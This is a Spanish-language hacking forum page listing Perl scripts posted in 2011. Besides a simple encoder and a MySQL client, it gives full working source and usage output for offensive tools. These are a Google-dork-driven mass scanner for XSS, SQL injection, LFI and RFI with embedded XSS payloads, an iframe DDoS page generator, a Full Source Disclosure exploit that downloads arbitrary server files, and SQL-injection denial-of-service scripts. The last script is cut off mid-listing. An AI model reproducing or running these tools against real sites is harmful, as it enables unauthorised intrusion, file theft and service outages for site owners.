elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


  Mostrar Temas
Páginas: 1 ... 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 [43]
421  Programación / Scripting / [Perl] Codificator version consola en: 7 Octubre 2011, 01:16 am
Un simple codificador

Soportes :


  • Hex encode/decode
  • MD5 encode
  • Base64 encode/decode
  • ASCII encode/decode
  • URL encode/decode
Código
  1. #!usr/bin/perl
  2. #Codificator version consola (C) Doddy Hackman 2011
  3. #This tool encode in :
  4. #
  5. #Hex
  6. #MD5
  7. #Base64
  8. #ASCII
  9. #URL
  10. #
  11. #
  12.  
  13. use Digest::MD5;
  14. use Digest::SHA1;
  15. use MIME::Base64;
  16. use URI::Escape;
  17.  
  18. sub head {
  19. system("cls");
  20.  
  21.  
  22.  
  23.  @@@            @ @   @ @             @          
  24. @   @           @    @                @          
  25. @       @@@   @@ @ @ @@@ @  @@@   @@@ @@@  @@@  @ @
  26. @      @   @ @  @@ @  @  @ @   @ @   @ @  @   @ @@
  27. @      @   @ @   @ @  @  @ @      @@@@ @  @   @ @  
  28. @      @   @ @   @ @  @  @ @     @   @ @  @   @ @  
  29. @   @ @   @ @  @@ @  @  @ @   @ @  @@ @  @   @ @  
  30.  @@@   @@@   @@ @ @  @  @  @@@   @@ @ @@  @@@  @  
  31.  
  32.  
  33.  
  34. );
  35. }
  36.  
  37. head();
  38. print "\n[+] Options\n\n";
  39. 1 - MD5 encode
  40. 2 - Base64 encode
  41. 3 - Base64 decode
  42. 4 - Ascii encode
  43. 5 - Ascii decode
  44. 6 - Hex encode
  45. 7 - Hex decode
  46. 8 - URL encode
  47. 9 - URL decode
  48. 10 - Exit
  49.  
  50. );
  51. while(true) {
  52. print "\n\n[+] Option : ";
  53. chomp(my $op = <stdin>);
  54. print "\n\n";
  55. if ($op eq 1) {
  56. print "[+] String : ";
  57. chomp(my $string = <stdin>);
  58. print "\n\n[+] MD5 : ".Digest::MD5->md5_hex($string)."\n\n";
  59. }
  60. elsif ($op eq 2) {
  61. print "[+] String : ";
  62. chomp(my $string = <stdin>);
  63. print "\n\n[+] Base64 : ".encode_base64($string);
  64. }
  65. elsif ($op eq 3) {
  66. print "[+] String : ";
  67. chomp(my $string = <stdin>);
  68. print "\n\n[+] Base64 Decode : ".decode_base64($string)."\n";
  69. }
  70. elsif ($op eq 4) {
  71. print "[+] String : ";
  72. chomp(my $string = <stdin>);
  73. print "\n\n[+] Ascii : ".join ',',unpack "U*",$string;
  74. print "\n";
  75. }
  76. elsif ($op eq 5) {
  77. print "[+] String : ";
  78. chomp(my $string = <stdin>);
  79. print "\n\n[+] Ascii decode : ".join q[], map { chr } split q[,],$string."\n";
  80. print "\n";
  81. }
  82. elsif ($op eq 6) {
  83. print "[+] String : ";
  84. chomp(my $string = <stdin>);
  85. $hex = "0x";
  86. for (split //,$string) {
  87. $hex .= sprintf "%x", ord;
  88. }
  89. print "\n\n[+] Hex : ".$hex."\n";
  90. }
  91. elsif ($op eq 7) {
  92. print "[+] String : ";
  93. chomp(my $string = <stdin>);
  94. $string =~ s/^0x//;
  95. $encode = join q[], map { chr hex } $string =~ /../g;
  96. print "\n\n[+] Hex decode : ".$encode."\n";
  97. }
  98. elsif ($op eq 8) {
  99. print "[+] String : ";
  100. chomp(my $string = <stdin>);
  101. print "\n\n[+] URL Encode : ".uri_escape($string)."\n";
  102. }
  103. elsif ($op eq 9) {
  104. print "[+] String : ";
  105. chomp(my $string = <stdin>);
  106. print "\n\n[+] URL Decode : ".uri_unescape($string)."\n";
  107. }
  108. elsif ($op eq 10) {
  109. copyright();
  110. exit(1);
  111. }
  112. else {
  113. print "[+] Write good stupid !\n";
  114. }
  115. }
  116.  
  117. sub copyright {
  118. print "\n-- == Doddy Hackman 2011 == --\n\n";
  119. }
  120.  
  121. # ¿The End ?


Ejemplo de uso


Código:




  @@@            @ @   @ @             @
 @   @           @    @                @
@       @@@   @@ @ @ @@@ @  @@@   @@@ @@@  @@@  @ @
@      @   @ @  @@ @  @  @ @   @ @   @ @  @   @ @@
@      @   @ @   @ @  @  @ @      @@@@ @  @   @ @
@      @   @ @   @ @  @  @ @     @   @ @  @   @ @
 @   @ @   @ @  @@ @  @  @ @   @ @  @@ @  @   @ @
  @@@   @@@   @@ @ @  @  @  @@@   @@ @ @@  @@@  @




[+] Options


1 - MD5 encode
2 - Base64 encode
3 - Base64 decode
4 - Ascii encode
5 - Ascii decode
6 - Hex encode
7 - Hex decode
8 - URL encode
9 - URL decode
10 - Exit



[+] Option :
422  Programación / Scripting / [Perl] Paranoic Scan 0.9 en: 7 Octubre 2011, 01:15 am
La misma herramienta de siempre pero le agregue dos cosas nuevas

  • XSS POST & GET
  • SQL POST & GET
Código
  1. #!usr/bin/perl
  2. #Paranoic Scan 0.9 Updated
  3. #(c)0ded by Doddy H 2010
  4. #
  5. #Search in google with a dork
  6. #Scan type :
  7. #
  8. #XSS
  9. #Full Source Discloure
  10. #LFI
  11. #RFI
  12. #SQL GET & POST
  13. #MSSQL
  14. #Oracle
  15. #Jet Database
  16. #Find HTTP Options y Server nAME
  17. #
  18. #
  19.  
  20. use LWP::UserAgent;
  21. use HTML::LinkExtor;
  22. use HTML::Form;
  23. use URI::Split qw(uri_split);
  24. use IO::Socket;
  25.  
  26. my $nave = LWP::UserAgent->new;
  27. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  28. $nave->timeout(5);
  29.  
  30. installer();
  31.  
  32. sta();
  33.  
  34. sub sta {
  35. sub head {
  36. system 'cls';
  37.  
  38.  
  39. @@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
  40. @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
  41. @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
  42. @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
  43. @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
  44. @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
  45. @@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @
  46.  
  47.  
  48.  
  49.  
  50. );
  51. }
  52. &menu;
  53. sub menu {
  54. &head;
  55. print "[a] : Scan a File\n";
  56. print "[b] : Search in google and scan the webs\n\n";
  57. print "[option] : ";
  58. chomp(my $op = <STDIN>);
  59. if ($op =~/a/ig) {
  60. print "\n[+] Wordlist : ";
  61. chomp(my $word = <STDIN>);
  62. my @paginas = repes(cortar(savewords($word)));
  63. my $option = &men;
  64. print "\n\n[+] Opening File\n";
  65. scan($option,@paginas);
  66. }
  67. elsif ($op=~/b/ig) {
  68. print "\n[+] Dork : ";
  69. chomp(my $dork = <STDIN>);
  70. print "[+] Pages : ";
  71. chomp(my $pag = <STDIN>);
  72. my $option = &men;
  73. print "\n\n[+] Searching in google\n";
  74. my @paginas = &google($dork,$pag);
  75. scan($option,@paginas);
  76. }
  77. else {
  78. &menu;
  79. }
  80. }
  81. sub scan {
  82. my ($option,@webs) = @_;
  83. print "\n\n[Status] : Scanning\n";
  84. print "[Webs Count] : ".int(@webs)."\n\n\n";
  85. for(@webs) {
  86. if ($option=~/S/ig) {
  87. scansql($_);
  88. }
  89. if ($option=~/L/ig) {
  90. lfi($_);
  91. }
  92. if ($option=~/R/ig) {
  93. rfi($_);
  94. }
  95. if ($option=~/F/ig) {
  96. fsd($_);
  97. }
  98. if ($option=~/X/ig) {
  99. scanxss($_);
  100. }
  101. if ($option=~/M/ig) {
  102. mssql($_);
  103. }
  104. if ($option=~/J/ig) {
  105. access($_);
  106. }
  107. if ($option=~/O/ig) {
  108. oracle($_);
  109. }
  110. if ($option=~/HT/ig) {
  111. http($_);
  112. }
  113. if ($option=~/A/ig) {
  114. scansql($_);
  115. scanxss($_);
  116. mssql($_);
  117. access($_);
  118. oracle($_);
  119. lfi($_);
  120. rfi($_);
  121. fsd($_);
  122. http($_);
  123. }
  124. }
  125. }
  126. print "\n\n[Status] : Finish\n";
  127. &finish;
  128. }
  129.  
  130. sub toma {
  131. return $nave->get($_[0])->content;
  132. }
  133.  
  134. sub savefile {
  135. open (SAVE,">>logs/".$_[0]);
  136. print SAVE $_[1]."\n";
  137. close SAVE;
  138. }
  139.  
  140. sub finish {
  141. print "\n\n\n(C) Doddy Hackman 2010\n\n";
  142. <STDIN>;
  143. sta();
  144. }
  145.  
  146. sub google {
  147. my($a,$b) = @_;
  148. for ($pages=10;$pages<=$b;$pages=$pages+10) {
  149. $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages");
  150. my @links = get_links($code);
  151. for my $l(@links) {
  152. if ($l =~/webcache.googleusercontent.com/) {
  153. push(@url,$l);
  154. }
  155. }
  156. }
  157.  
  158. for(@url) {
  159. if ($_ =~/cache:(.*?):(.*?)\+/) {
  160. push(@founds,$2);
  161. }
  162. }
  163.  
  164. my @founds = repes(cortar(@founds));
  165. return @founds;
  166. }
  167.  
  168.  
  169.  
  170. sub http {
  171.  
  172. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  173.  
  174. my $socket = IO::Socket::INET->new(
  175. PeerAddr=>$auth,
  176. PeerPort=>"80",
  177. Proto=>"tcp");
  178.  
  179. print $socket "OPTIONS  / HTTP/1.0\r\n\r\n";
  180. read $socket,$resultado,"1000";
  181.  
  182. if ($resultado=~/Server:(.*)/g) {
  183. my $server = $1;
  184.  
  185. savefile("http-logs.txt","[+] Page : $auth"."\n");
  186. savefile("http-logs.txt","[+] Server : ".$server."\n");
  187. }
  188. if ($resultado=~/Allow: (.*)/g) {
  189. my $options = $1;
  190. savefile("http-logs.txt","[+] Options : ".$options."\n");
  191. }
  192. $socket->close;
  193. }
  194.  
  195. sub scanxss {
  196.  
  197. my $page = shift;
  198. chomp $page;
  199.  
  200. my @testar = HTML::Form->parse(toma($page),"/");
  201. my @botones_names;
  202. my @botones_values;
  203. my @orden;
  204. my @pa = ("<script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>",'"><script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>');
  205. my @get_founds;
  206. my @post_founds;
  207. my @ordenuno;
  208. my @ordendos;
  209.  
  210. my $contador_forms = 0;
  211.  
  212. my $valor = "doddyhackman";
  213.  
  214. for my $test(@testar) {
  215. $contador_forms++;
  216. if ($test->method eq "POST") {
  217. my @inputs = $test->inputs;
  218. for my $in(@inputs) {
  219. if ($in->type eq "submit") {
  220. if ($in->name eq "") {
  221. push(@botones_names,"submit");
  222. }
  223. push(@botones_names,$in->name);
  224. push(@botones_values,$in->value);
  225. } else {
  226. push(@ordenuno,$in->name,$pa[0]);
  227. push(@ordendos,$in->name,$pa[1]);
  228. }}
  229.  
  230. for my $n(0..int(@botones_names)-1) {
  231. my @preuno = @ordenuno;
  232. my @predos = @ordendos;
  233. push(@preuno,$botones_names[$n],$botones_values[$n]);
  234. push(@predos,$botones_names[$n],$botones_values[$n]);
  235.  
  236. my $codeuno = $nave->post($page,\@preuno)->content;
  237. my $codedos = $nave->post($page,\@predos)->content;
  238. if ($codeuno=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig or
  239. $codedos=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig) {
  240. if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
  241. push(@post_founds,$contador_forms);
  242. } else {
  243. push(@post_founds,$test->attr(name));
  244. }}}
  245. } else { #Fin de metodo POST
  246. my @inputs = $test->inputs;
  247. for my $in(@inputs) {
  248. if ($in->type eq "submit") {
  249. if ($in->name eq "") {
  250. push(@botones_names,"submit");
  251. }
  252. push(@botones_names,$in->name);
  253. push(@botones_values,$in->value);
  254. } else {
  255. $orden.=''.$in->name.'='.$valor.'&';
  256. }}
  257. chop($orden);
  258. for my $n(0..int(@botones_names)-1) {
  259. my $partedos = "&".$botones_names[$n]."=".$botones_values[$n];
  260. my $final = $orden.$partedos;
  261. for my $strin(@pa) {
  262. chomp $strin;
  263. $final=~s/doddyhackman/$strin/;
  264. $code = toma($page."?".$final);
  265. my $strin = "\Q$strin\E";
  266. if ($code=~/$strin/) {
  267. push(@get_founds,$page."?".$final);
  268. }}}}}
  269.  
  270. my @get_founds = repes(@get_founds);
  271. if (int(@get_founds) ne 0) {
  272. for(@get_founds) {
  273. savefile("xss-logs.txt","[+] XSS Found : $_");
  274. print "[+] XSS Found : $_\n\a";
  275. }}
  276.  
  277. my @post_founds = repes(@post_founds);
  278. if (int(@post_founds) ne 0) {
  279. for my $t(@post_founds) {
  280. if ($t =~/^\d+$/) {
  281. savefile("xss-logs.txt","[+] XSS : Form $t in $page");
  282. print "[+] XSS : Form $t in $page\n\a";
  283. }}}}
  284.  
  285.  
  286. sub scansql {
  287.  
  288. my $page = shift;
  289. my $copia = $page;
  290.  
  291. $co = toma($page."'");
  292.  
  293. if ($co=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $co=~ /mysql_free_result/ig || $co =~ /mysql_fetch_assoc/ig ||$co =~ /mysql_num_rows/ig || $co =~ /mysql_fetch_array/ig || $co =~/mysql_fetch_assoc/ig || $co=~/mysql_query/ig || $co=~/mysql_free_result/ig || $co=~/equivocado en su sintax/ig || $co=~/You have an error in your SQL syntax/ig || $co=~/Call to undefined function/ig) {
  294. savefile("sql-logs.txt","[+] SQL : $page");
  295. print "[+] SQLI : $page\a\n";
  296. }
  297.  
  298. if ($page=~/(.*)\?(.*)/) {
  299. my $page = $1;
  300.  
  301. my @testar = HTML::Form->parse(toma($page),"/");
  302. my @botones_names;
  303. my @botones_values;
  304. my @orden;
  305. my @get_founds;
  306. my @post_founds;
  307. my @ordenuno;
  308. my @ordendos;
  309.  
  310. my $contador_forms = 0;
  311.  
  312. my $valor = "doddyhackman";
  313.  
  314. for my $test(@testar) {
  315. $contador_forms++;
  316. if ($test->method eq "POST") {
  317. my @inputs = $test->inputs;
  318. for my $in(@inputs) {
  319. if ($in->type eq "submit") {
  320. if ($in->name eq "") {
  321. push(@botones_names,"submit");
  322. }
  323. push(@botones_names,$in->name);
  324. push(@botones_values,$in->value);
  325. } else {
  326. push(@ordenuno,$in->name,"'");
  327. }}
  328.  
  329. for my $n(0..int(@botones_names)-1) {
  330. my @preuno = @ordenuno;
  331. push(@preuno,$botones_names[$n],$botones_values[$n]);
  332. my $code = $nave->post($page,\@preuno)->content;
  333. if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {
  334. if ($test->attr(name) eq "" or $test->attr(name) eq " ") {
  335. push(@post_founds,$contador_forms);
  336. } else {
  337. push(@post_founds,$test->attr(name));
  338. }}}}
  339.  
  340. my @post_founds = repes(@post_founds);
  341. if (int(@post_founds) ne 0) {
  342. for my $t(@post_founds) {
  343. if ($t =~/^\d+$/) {
  344. savefile("sql-logs.txt","[+] SQLI : Form $t in $page");
  345. print "[+] SQLI : Form $t in $page\n\a";
  346. }}}}}}
  347.  
  348. sub access {
  349.  
  350. my $page = shift;
  351. $code1 = toma($page."'");
  352. if ($code1=~/Microsoft JET Database/ig or $code1=~/ODBC Microsoft Access Driver/ig) {
  353. print "[+] Jet DB : $page\a\n";
  354. savefile("jetdb-logs.txt",$page);
  355. }
  356. }
  357.  
  358. sub mssql {
  359.  
  360. my $page = shift;
  361. $code1 = toma($page."'");
  362. if ($code1=~/ODBC SQL Server Driver/ig) {
  363. print "[+] MSSQL : $page\a\n";
  364. savefile("mssql-logs.txt",$page);
  365. }
  366. }
  367.  
  368. sub oracle {
  369.  
  370. my $page = shift;
  371. $code1 = toma($page."'");
  372. if ($code1=~/Microsoft OLE DB Provider for Oracle/ig) {
  373. print "[+] Oracle : $page\a\n";
  374. savefile("oracle-logs.txt",$page);
  375. }
  376. }
  377.  
  378. sub rfi {
  379. my $page = shift;
  380. $code1 = toma($page."http:/www.supertangas.com/");
  381. if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
  382. print "[+] RFI : $page\a\n";
  383. savefile("rfi-logs.txt",$page);
  384. }}
  385.  
  386. sub lfi {
  387. my $page = shift;
  388. $code1 = toma($page."'");
  389. if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
  390. print "[+] LFI : $page\a\n";
  391. savefile("lfi-logs.txt",$page);
  392. }}
  393.  
  394. sub fsd {
  395. my $page = shift;
  396. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  397. if ($path=~/\/(.*)$/) {
  398. my $me = $1;
  399. $code1 = toma($page.$me);
  400. if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
  401. print "[+] Full Source Discloure : $page\a\n";
  402. savefile("fpd-logs.txt",$page);
  403. }}}
  404.  
  405. sub repes {
  406. my @limpio;
  407. foreach $test(@_) {
  408. push @limpio,$test unless $repe{$test}++;
  409. }
  410. return @limpio;
  411. }
  412.  
  413. sub savewords {
  414. open (FILE,$_[0]);
  415. @words = <FILE>;
  416. close FILE;
  417. for(@words) {
  418. push(@r,$_);
  419. }
  420. return(@r);
  421. }
  422.  
  423. sub men {
  424. print "\n\n[+] Scan Type : \n\n";
  425. print "[X] : XSS\n";
  426. print "[S] : SQL\n";
  427. print "[M] : MSSQL\n";
  428. print "[J] : Jet Database\n";
  429. print "[O] : Oracle\n";
  430. print "[L] : LFI\n";
  431. print "[R] : RFI\n";
  432. print "[F] : Full Source Discloure\n";
  433. print "[HT] : HTTP Information\n";
  434. print "[A] : All\n\n";
  435. print "\n[Options] : ";
  436. chomp(my $option = <STDIN>);
  437. return $option;
  438. }
  439.  
  440. sub cortar {
  441. my @nuevo;
  442. for(@_) {
  443. if ($_ =~/=/) {
  444. @tengo = split("=",$_);
  445. push(@nuevo,@tengo[0]."=");
  446. } else {
  447. push(@nuevo,$_);
  448. }}
  449. return @nuevo;
  450. }
  451.  
  452. sub get_links {
  453.  
  454. $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]);
  455. return @links;
  456.  
  457. sub agarrar {
  458. my ($a,%b) = @_;
  459. push(@links,values %b);
  460. }
  461. }
  462.  
  463.  
  464. sub installer {
  465. unless (-d "logs/") {
  466. mkdir("logs/","777");
  467. }
  468. }
  469.  
  470. # ¿ The End ?
  471.  

Ejemplo de uso


Código:



@@@@@   @   @@@@     @   @@  @@@  @@@   @@@  @@@@     @@@   @@@@    @   @@  @@@
 @  @   @    @  @    @    @@  @  @   @   @  @   @    @  @  @   @    @    @@  @
 @  @  @ @   @  @   @ @   @@  @ @     @  @ @         @    @        @ @   @@  @
 @@@   @ @   @@@    @ @   @ @ @ @     @  @ @          @@  @        @ @   @ @ @
 @    @@@@@  @ @   @@@@@  @ @ @ @     @  @ @            @ @       @@@@@  @ @ @
 @    @   @  @  @  @   @  @  @@  @   @   @  @   @    @  @  @   @  @   @  @  @@
@@@  @@@ @@@@@@  @@@@ @@@@@@  @   @@@   @@@  @@@     @@@    @@@  @@@ @@@@@@  @




[a] : Scan a File
[b] : Search in google and scan the webs

[option] :
423  Programación / Scripting / [Perl] Iframe DDos Attack Tool en: 7 Octubre 2011, 01:15 am
Un simple poc para la los ataques de denegacion de servicio usando
iframes.


Código
  1. #!usr/bin/perl
  2. #Iframe DDos Attack Tool (C) Doddy Hackman 2011
  3.  
  4. use Cwd;
  5.  
  6. installer();
  7.  
  8. sub head {
  9. print "\n\n-- == Iframe DDos Attack Tool == --\n\n";
  10. }
  11.  
  12. sub copyright {
  13. print "\n\n -- == Doddy Hackman 2011\n\n";
  14. }
  15.  
  16. sub sintax {
  17. print "\n[+] sintax : $0 <target> <count file> <count iframe>\n";
  18. }
  19.  
  20. sub start {
  21. my ($target,$files,$iframe) = @_;
  22. print "\n[+] Starting the party\n\n";
  23. print "[+] Generating files and iframes\n";
  24. print "\n[+] All Save in ".getcwd()."/files/"."\n";
  25. for my $can(1..$files) {
  26. open (POC,">>files/index".$can.".html");
  27. for my $tx(1..$iframe) {
  28. print POC '<iframe src="'.$target.'" width="3" height="3"></iframe><br>';
  29. }
  30. close POC;
  31. }
  32. }
  33.  
  34. head();
  35. unless(@ARGV > 2) {
  36. sintax();
  37. } else {
  38. start($ARGV[0],$ARGV[1],$ARGV[2]);
  39. }
  40. copyright();
  41.  
  42. sub installer {
  43. unless (-d "files/") {
  44. mkdir("files/","777");
  45. }}
  46.  
  47. # ¿ The End ?
  48.  
Ejemplo de uso

Código:

C:\Documents and Settings\Administrador\Escritorio\Leviatan\Hacking\WarFactoy II
 Finales\poc iframe>poc.pl "pepo.com" 4 4


-- == Iframe DDos Attack Tool == --


[+] Starting the party

[+] Generating files and iframes

[+] All Save in C:/Documents and Settings/Administrador/Escritorio/Leviatan/Hack
ing/WarFactoy II Finales/poc iframe/files/


 -- == Doddy Hackman 2011

424  Programación / Scripting / [Perl] Mysql Manager en: 7 Octubre 2011, 01:14 am
Un simple mysql manager , un triste intento de imitacion al comando mysql pero bueno....

Código
  1. #!usr/bin/perl
  2. #Mysql Manager (C) Doddy Hackman 2011
  3. #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
  4.  
  5. use DBI;
  6.  
  7. sub head {
  8. print "\n\n -- == Mysql Manager == --\n\n";
  9. }
  10.  
  11. sub copyright {
  12. print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
  13. exit(1);
  14. }
  15.  
  16. sub sintax {
  17. print "\n[+] Sintax : $0 <host> <user> <pass>\n";
  18. }
  19.  
  20. head();
  21. unless (@ARGV > 2) {
  22. sintax();
  23. } else {
  24. enter($ARGV[0],$ARGV[1],$ARGV[2]);
  25. }
  26. copyright();
  27.  
  28. sub enter {
  29.  
  30. print "\n[+] Connecting to the server\n";
  31.  
  32. $info = "dbi:mysql::".$_[0].":3306";
  33. if (my $enter = DBI->connect($info,$_[1],$_[2],{PrintError=>0})) {
  34.  
  35. print "\n[+] Enter in the database";
  36.  
  37. while(1) {
  38. print "\n\n\n[+] Query : ";
  39. chomp(my $ac = <stdin>);
  40.  
  41. if ($ac eq "exit") {
  42. $enter->disconnect;
  43. print "\n\n[+] Closing connection\n\n";
  44. copyright();
  45. }
  46.  
  47. $re = $enter->prepare($ac);
  48. $re->execute();
  49. my $total = $re->rows();
  50.  
  51. my @columnas = @{$re->{NAME}};
  52.  
  53. if ($total eq "-1") {
  54. print "\n\n[-] Query Error\n";
  55. next;
  56. } else {
  57. print "\n\n[+] Result of the query\n";
  58. if ($total eq 0) {
  59. print "\n\n[+] Not rows returned\n\n";
  60. } else {
  61. print "\n\n[+] Rows returned : ".$total."\n\n\n";
  62. for(@columnas) {
  63. print $_."\t\t";
  64. }
  65. print "\n\n";
  66. while (@row = $re->fetchrow_array) {
  67. for(@row) {
  68. print $_."\t\t";
  69. }
  70. print "\n";
  71. }}}}
  72. } else {
  73. print "\n[-] Error connecting\n";
  74. }}
  75.  
  76. # ¿ The End ?


Un ejemplo de uso

Código:

C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
mysqlman>manager.PL localhost root ""


 -- == Mysql Manager == --


[+] Connecting to the server

[+] Enter in the database


[+] Query : show databases


[+] Result of the query


[+] Rows returned : 6


Database

information_schema
cdcol
hackman
mysql
phpmyadmin
test



[+] Query : exit


[+] Closing connection



-- == (C) Doddy Hackman 2011 == --


425  Programación / Scripting / [Perl] FSD Exploit Manager en: 7 Octubre 2011, 01:14 am
Un simple exploit que nos ayuda a explotar la vulnerabilidad Full Source Discloure de una forma muy relajante , lo bueno de este programa es que guarda todo lo descargado en una carpeta creada por el programa mismo.
Ademas detecta automaticamente Full Path Discloure para conocer las rutas necesarias para descargar
archivos.


Código
  1. #!usr/bin/perl
  2. #FSD Exploit Manager (C) Doddy Hackman 2011
  3.  
  4. use LWP::UserAgent;
  5. use URI::Split qw(uri_split);
  6. use File::Basename;
  7.  
  8. my $nave = LWP::UserAgent->new;
  9. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  10. $nave->timeout(5);
  11.  
  12. $SIG{INT} = \&adios;
  13.  
  14. head();
  15. if($ARGV[0]) {
  16. ver($ARGV[0]);
  17. } else {
  18. sintax();
  19. }
  20. copyright();
  21.  
  22. sub ver {
  23.  
  24. my $page = shift;
  25. print "\n[+] Target : ".$page."\n\n";
  26.  
  27. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  28.  
  29. if ($path=~/\/(.*)$/) {
  30. my $me = $1;
  31. $code1 = toma($page.$me);
  32. if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
  33. print "[+] Full Source Discloure Detect\a\n";
  34. $code2 = toma($page."'");
  35. if ($code2=~/No such file or directory in <b>(.*)<\/b> on line/) {
  36. print "\n[+] Full Path Dislocure Detect : ".$1."\n";
  37. }
  38. installer();
  39. while(1) {
  40. print "\n\nurl>";
  41. $SIG{INT} = \&adios;
  42. chomp(my $url = <stdin>);
  43. if (download($page.$url,"fsdlogs/".basename($url))) {
  44. print "\n\n[+] File Downloaded\n";
  45. system("start fsdlogs/".basename($url));
  46. }
  47. }
  48. } else {
  49. print "[-] Web not vulnerable\n\n";
  50. }
  51. }
  52. }
  53.  
  54. sub adios {
  55. print "\n\n[+] Good Bye\n";
  56. copyright();
  57. }
  58.  
  59. sub head {
  60. print "\n\n-- == FSD Exploit Manager == --\n\n";
  61. }
  62.  
  63. sub copyright {
  64. print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
  65. exit(1);
  66. }
  67.  
  68. sub sintax {
  69. print "\n[+] Sintax : $0 <page>\n";
  70. }
  71.  
  72. sub toma {
  73. return $nave->get($_[0])->content;
  74. }
  75.  
  76. sub download {
  77. if ($nave->mirror($_[0],$_[1])) {
  78. if (-f $_[1]) {
  79. return true;
  80. }}}
  81.  
  82. sub installer {
  83. unless (-d "fsdlogs/") {
  84. mkdir("fsdlogs/","777");
  85. }}
  86.  
  87. # ¿ The End ?
  88.  

Un ejemplo de uso

Código:
C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
FSD Exploit Manager>fsd.pl http://localhost/down.php?down=


-- == FSD Exploit Manager == --


[+] Target : http://localhost/down.php?down=

[+] Full Source Discloure Detect

[+] Full Path Dislocure Detect : C:\xampp\htdocs\down.php


url>c:/aca.txt


[+] File Downloaded


url>c:/aca.txt


[+] File Downloaded


[+] Good Bye


-- == (C) Doddy Hackman 2011 == --


426  Programación / Scripting / [Perl] SQLi DOS 0.1 en: 7 Octubre 2011, 01:13 am
Un simple Dos para SQLi

Código
  1. #!usr/bin/perl
  2. #SQLi Dos 0.1 (C) Doddy Hackman 2011
  3.  
  4. use LWP::UserAgent;
  5.  
  6. my $nave = LWP::UserAgent->new;
  7. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  8. $nave->timeout(5);
  9.  
  10. head();
  11. if($ARGV[0]) {
  12. now($ARGV[0]);
  13. } else {
  14. sintax();
  15. }
  16. copyright();
  17.  
  18. sub now {
  19. print "\n[+] Target : ".$_[0]."\n";
  20. print "\n[+] Starting the attack\n[+] Info : control+c for stop attack\n\n";
  21. while(true) {
  22. $SIG{INT} = \&adios;
  23. $code = toma($_[0]."zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz");
  24. unless($code->is_success) {
  25. print "[+] Web Off";
  26. copyright();
  27. }}}
  28.  
  29. sub adios {
  30. print "\n[+] Stoping attack\n";
  31. copyright();
  32. }
  33.  
  34. sub head {
  35. print "\n\n-- == SQLI Dos 0.1 == --\n\n";
  36. }
  37.  
  38. sub copyright {
  39. print "\n\n-- == (C) Doddy Hackman 2011 == --\n\n";
  40. exit(1);
  41. }
  42.  
  43. sub sintax {
  44. print "\n[+] Sintax : $0 <page>\n";
  45. }
  46.  
  47. sub toma {
  48. return $nave->get($_[0]);
  49. }
  50.  
  51. # ¿ The End ?
  52.  

Ejemplo de uso

Código:
C:\Documents and Settings\Administrador\Escritorio\Todo\Warfactory II\proyectos\
SQLI Dos>sqlidos.pl http://localhost/sql.php?id=1


-- == SQLI Dos 0.1 == --


[+] Target : http://localhost/sql.php?id=1

[+] Starting the attack
[+] Info : control+c for stop attack


[+] Stoping attack


-- == (C) Doddy Hackman 2011 == --

427  Programación / Scripting / [Perl] SQLi Dos 0.2 en: 7 Octubre 2011, 01:12 am
El mismo Dos para SQLi per esta vez usando benchmark()

Código
  1. #!usr/bin/perl
  2. #SQLi Dos 0.2 (C) Doddy Hackman 2011
  3.  
  4. use LWP::UserAgent;
  5.  
  6. my $nave = LWP::UserAgent->new;
  7. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  8. $nave->timeout(5);
  9.  
  10. head();
